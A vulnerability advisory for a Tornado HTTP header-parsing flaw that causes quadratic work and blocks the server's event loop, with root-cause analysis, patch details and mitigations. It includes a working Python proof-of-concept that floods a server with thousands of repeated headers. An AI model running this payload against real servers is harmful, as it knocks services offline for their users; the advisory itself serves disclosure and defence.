CVE-2025-67725: Tornado HTTPHeaders Quadratic DoS via Repeated Header Coalescing
Sending a single HTTP request with thousands of repeated header lines forces Tornado to do O(n^2) string copies, blocking its event loop and taking down the entire server.
The problem
Tornado's HTTPHeaders.add method stored multiple values for the same header name by doing repeated string concatenation: each new value was appended with old_value + "," + new_value. Because Python strings are immutable, every concatenation allocates and copies the entire accumulated string from scratch.
With N repeated lines of the same header, the total bytes copied grows as 1+2+3+...+N, i.e., O(n^2). Because Tornado runs on a single event loop, one malicious request can stall all other request handling for seconds or longer.
Proof of concept
A working proof-of-concept for CVE-2025-67725 in tornado, with the exact payload below.
import socket
# Target a Tornado server with default max_header_size (64 KB).
# For high-severity impact, target one with a raised max_header_size.
HOST = "127.0.0.1"
PORT = 8888
# Each header value is 32 bytes; repeat 2000 times = ~64 KB total.
# The O(n^2) work happens server-side during HTTPHeaders.add calls.
header_value = "A" * 32
n_repeats = 2000
repeated_headers = "".join(
f"X-Dos: {header_value}\r\n" for _ in range(n_repeats)
)
request = (
f"GET / HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
+ repeated_headers
+ "\r\n"
)
with socket.create_connection((HOST, PORT)) as s:
s.sendall(request.encode())
print("Payload sent. Server event loop should be blocked.")The root cause (CWE-400) is in the pre-patch HTTPHeaders.add path: when a normalized header key already existed in the dict, the code did self[key] = current + "," + value. Each call copied the entire growing string, giving O(n^2) total allocation work across N repeated header lines.
The patch replaced this with list-based accumulation internally, deferring the join to a single O(n) pass only when the combined value is read. The attacker controls both N (number of repetitions) and the per-value size, so total work is bounded only by max_header_size, which operators sometimes raise well above the 64 KB default.
The fix
Upgrade to tornado >= 6.5.3. If you cannot upgrade immediately, lower max_header_size to the default (64 KB) or add a reverse-proxy layer (nginx, HAProxy) that enforces per-header and total-header limits before requests reach Tornado.
Reported by Finder16.
Related research
- high · 7.5CVE-2025-67726CVE-2025-67726: Tornado Quadratic DoS via Crafted Multipart Parameters
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing
- high · 7.5CVE-2026-49851CVE-2026-49851: mistune Quadratic-Time DoS in parse_link_text